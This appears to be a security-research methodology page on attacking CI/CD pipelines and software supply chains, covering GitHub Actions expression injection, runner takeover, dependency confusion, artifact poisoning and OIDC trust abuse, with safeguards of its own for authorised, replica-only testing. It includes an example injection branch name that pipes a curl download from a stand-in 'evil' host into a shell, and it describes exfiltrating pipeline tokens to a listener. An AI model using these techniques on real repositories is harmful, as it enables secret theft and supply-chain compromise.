| 1 | --- |
| 2 | archetype: cicd-supplychain |
| 3 | primary_gate_families: [4, 5, 1] |
| 4 | --- |
| 5 | |
| 6 | # Archetype - CI/CD & Software Supply Chain |
| 7 | |
| 8 | Targets: GitHub Actions workflows (and GitLab CI / CircleCI / Buildkite), self-hosted Actions runners, |
| 9 | package registries (npm/PyPI/Go/crates/Maven), artifact stores, signing pipelines. The thesis: the |
| 10 | build pipeline is the **softest path to the crown jewels** - it holds `GITHUB_TOKEN`, deploy keys, |
| 11 | cloud OIDC, signing keys, and registry-publish rights, and it *executes untrusted input by design* |
| 12 | (PR contents, fork branches, dependency code). One workflow-injection or one confusable dependency |
| 13 | compromises the org and everything it ships. [[../00-doctrine/SEVERITY-GATE#family-4-secret-key-repo-build-pipeline-compromise|Family 4]] / [[../00-doctrine/SEVERITY-GATE#family-5-supply-chain-dependency-compromise|Family 5]] / Family 1. |
| 14 | |
| 15 | See: [[devops-infra]] (Jenkins/Argo runners), [[ml-model-loaders]] (ComfyUI nodes), [[electron-desktop]] (plugin registries). |
| 16 | Tooling: `audit_cicd`, `dependency_confusion`, `audit_supply_chain`, `clone_repo`, `joern_query`. |
| 17 | |
| 18 | --- |
| 19 | |
| 20 | ## Principals & trust boundaries |
| 21 | |
| 22 | - **Principals:** an external PR/fork author (untrusted), a dependency author, the **workflow** (runs |
| 23 | with repo/org tokens), the **runner** (the machine, often self-hosted and reused), the registry, the |
| 24 | consumers who install the artifact. |
| 25 | - **Core boundaries:** |
| 26 | 1. *Untrusted PR/fork content → privileged workflow context* (the `pull_request_target` / |
| 27 | `workflow_run` trust elevation - the canonical CI bug). |
| 28 | 2. *Workflow expression → shell* (the `${{ }}` injection into `run:`). |
| 29 | 3. *Dependency name → install/build* (dependency confusion / typosquat / postinstall exec). |
| 30 | 4. *Job → self-hosted runner host* (a job escaping to the persistent runner machine). |
| 31 | 5. *Build → published artifact → consumers* (artifact/signing poisoning, the widest blast radius). |
| 32 | |
| 33 | **Boundary map template:** |
| 34 | ``` |
| 35 | principals: external-PR-author | dependency-author | workflow(holds tokens) | runner-host | registry | consumers |
| 36 | trust inputs: PR title/body/branch-name/labels, fork code, issue comments, the dependency tree, |
| 37 | package names, workflow_dispatch inputs, artifact contents, tags/releases |
| 38 | enforcement pts: pull_request vs pull_request_target, permissions: block, secrets scoping, |
| 39 | OIDC trust policy, environment protection rules, runner isolation, registry |
| 40 | namespace ownership, signature verification |
| 41 | cross-boundary |
| 42 | sinks: ${{ github.event.* }} interpolated into run: ; checkout of PR head in a |
| 43 | privileged trigger ; secrets.* / GITHUB_TOKEN reachable from injected step ; |
| 44 | npm/pip install of a confusable name ; postinstall/setup.py exec ; |
| 45 | self-hosted runner reuse ; publish/sign step |
| 46 | confusion |
| 47 | hypotheses: "this pull_request_target workflow checks out & runs PR code with secrets in env"; |
| 48 | "an attacker-controlled github context field flows into run: unquoted"; |
| 49 | "this internal package name is unclaimed on the public registry"; |
| 50 | "the runner is self-hosted and not ephemeral → persistence"; |
| 51 | "OIDC trust policy is too broad (wildcard sub/repo)" |
| 52 | ``` |
| 53 | |
| 54 | --- |
| 55 | |
| 56 | ## Kill chains (each lands on a Gate family) |
| 57 | |
| 58 | ### KC-1 - Workflow expression injection → secret/token exfil (Family 4) *(prime)* |
| 59 | A workflow interpolates an attacker-controlled `github` context field (PR **title**, **body**, |
| 60 | **branch name**, issue **comment**, label) directly into a `run:` shell step. Because `${{ }}` is |
| 61 | substituted *before* the shell runs, a branch named `$(curl evil|sh)` (or backtick/`;` payloads) |
| 62 | executes on the runner - with `secrets` and `GITHUB_TOKEN` in the environment. |
| 63 | - **Sinks to CPG/grep across `.github/workflows/*`:** `run:` steps containing `${{ github.event.*.title }}`, |
| 64 | `.body`, `.head.ref`, `github.head_ref`, `.comment.body`, `.pull_request.*`; plus `actions/github-script` |
| 65 | with interpolated context. |
| 66 | - **The high-value variant: `pull_request_target` / `workflow_run`** - these triggers run with the |
| 67 | **base repo's** secrets *and* (if the workflow checks out `github.event.pull_request.head.sha`) the |
| 68 | **fork's code**. That combination = untrusted code with full secrets = `pwn-request`. |
| 69 | - **Oracle:** the injected step exfiltrates `GITHUB_TOKEN` / `secrets.*` to our listener (against our |
| 70 | **own** canary repo for the replica), or callback from the runner → Family 4 / Family 1. |
| 71 | |
| 72 | ### KC-2 - Self-hosted runner takeover & persistence (Family 4 → 1) |
| 73 | Self-hosted runners on public repos are dangerous: a fork PR can run code on a **persistent, reused** |
| 74 | machine. Beyond the single job, the attacker can plant persistence, steal other jobs' secrets, or |
| 75 | pivot into the network the runner sits in. |
| 76 | - **Sinks:** any public-repo workflow with `runs-on: self-hosted`, non-ephemeral runner config, |
| 77 | shared runner caches/tool-dirs, secrets left on disk between jobs. |
| 78 | - **Oracle:** command execution on the runner host + reading a *second* job's canary secret / |
| 79 | network pivot artifact → Family 4 / Family 1. |
| 80 | |
| 81 | ### KC-3 - Dependency confusion / typosquat / install-time exec (Family 5) |
| 82 | An internal package name (`@acme/internal-utils`, `acme-config`) is referenced but **not owned on the |
| 83 | public registry**; the resolver pulls *our* public package of the same name and runs its |
| 84 | `postinstall` / `setup.py` / build script. |
| 85 | - **Sinks:** the install step, `package.json`/`requirements.txt`/`go.mod` names cross-checked against |
| 86 | public-registry ownership; `preinstall`/`postinstall`, `setup.py`'s top-level code, Go `//go:generate`. |
| 87 | - **The gate discipline (Family 5 trap):** "the name is unclaimed" is SOURCE_CONFIRMED only. The |
| 88 | finding is publishing a **benign canary** package and observing **our own / the in-scope** pipeline |
| 89 | pull and execute it (callback). **Never** squat a name a non-consenting third party builds. |
| 90 | - **Oracle:** the canary package's install-time callback fires from the target's build → Family 5. |
| 91 | |
| 92 | ### KC-4 - Artifact / signing-pipeline poisoning (Family 5 → 4) |
| 93 | A flaw lets a malicious artifact be published or signed and accepted downstream - a release step that |
| 94 | trusts a fork-built artifact, a cache-poisoning of a shared build cache, or a leaked/forgeable signing |
| 95 | key (Family 4) used to sign a malicious artifact a verifier accepts. |
| 96 | - **Sinks:** the publish/release step, the signing step (cosign/sigstore/GPG key handling), shared |
| 97 | cache keys derived from attacker input. |
| 98 | - **Oracle:** a malicious artifact we built is consumed-and-run downstream, or signed-and-verified by a |
| 99 | verifier we don't control → Family 5/4. |
| 100 | |
| 101 | ### KC-5 - OIDC trust-policy over-breadth → cloud ATO (Family 3, bridges [[devops-infra]]) |
| 102 | GitHub Actions OIDC federates into AWS/GCP/Azure. An over-broad trust policy (wildcard `sub`, missing |
| 103 | `repo`/`ref` condition) lets a fork or a different workflow assume a privileged cloud role. |
| 104 | - **Sinks:** the IAM/role trust policy's `sub` condition vs the workflow that can mint the OIDC token. |
| 105 | - **Oracle:** assuming the role from an unintended workflow + a benign privileged call → Family 3. |
| 106 | |
| 107 | --- |
| 108 | |
| 109 | ## The dynamic oracle, concretely |
| 110 | |
| 111 | 1. Fork/clone the target into our **own** GitHub org as a canary (replica-first - never test injection |
| 112 | on a third party's live repo). Pin the workflow files. |
| 113 | 2. For KC-1: open a PR on the canary with a payload branch-name/title; watch our listener for the |
| 114 | token exfil. `audit_cicd` to enumerate injectable contexts first. |
| 115 | 3. For KC-3: `dependency_confusion` to map unclaimed names; publish a **benign** canary package to a |
| 116 | throwaway namespace and observe *our* pipeline (or explicitly in-scope pipeline) execute it. |
| 117 | 4. REPLICA_CONFIRMED on the exfil/callback artifact. LIVE only with explicit program permission, and |
| 118 | even then the canary must be benign and the secret a throwaway. |
| 119 | |
| 120 | --- |
| 121 | |
| 122 | ## BORING traps - do NOT spend time here |
| 123 | |
| 124 | - **"This workflow uses `pull_request_target`."** A risky pattern is not a finding - many are safe |
| 125 | (no checkout of head, no secret use). Prove the *secret exfil* artifact. |
| 126 | - **"This package name is unclaimed."** Claimability is SOURCE_CONFIRMED; consumption-and-execution is |
| 127 | the finding. Don't report registry namespace squatting as if it were proven impact. |
| 128 | - **"A pinned action could be updated to a malicious tag."** Hypothetical future compromise of a |
| 129 | third party is not your finding. |
| 130 | - **Squatting / publishing against a non-consenting org's pipeline.** Forbidden - replica/own-org only. |
| 131 | - **Secret-scanning regex hits in the repo.** A string that looks like a key is a hypothesis; prove |
| 132 | it's live (Family 4 oracle) or it's cleared-axes. |
| 133 | - **Re-finding a public Actions-injection writeup's exact repo.** Sibling-CVE; hunt fresh workflows. |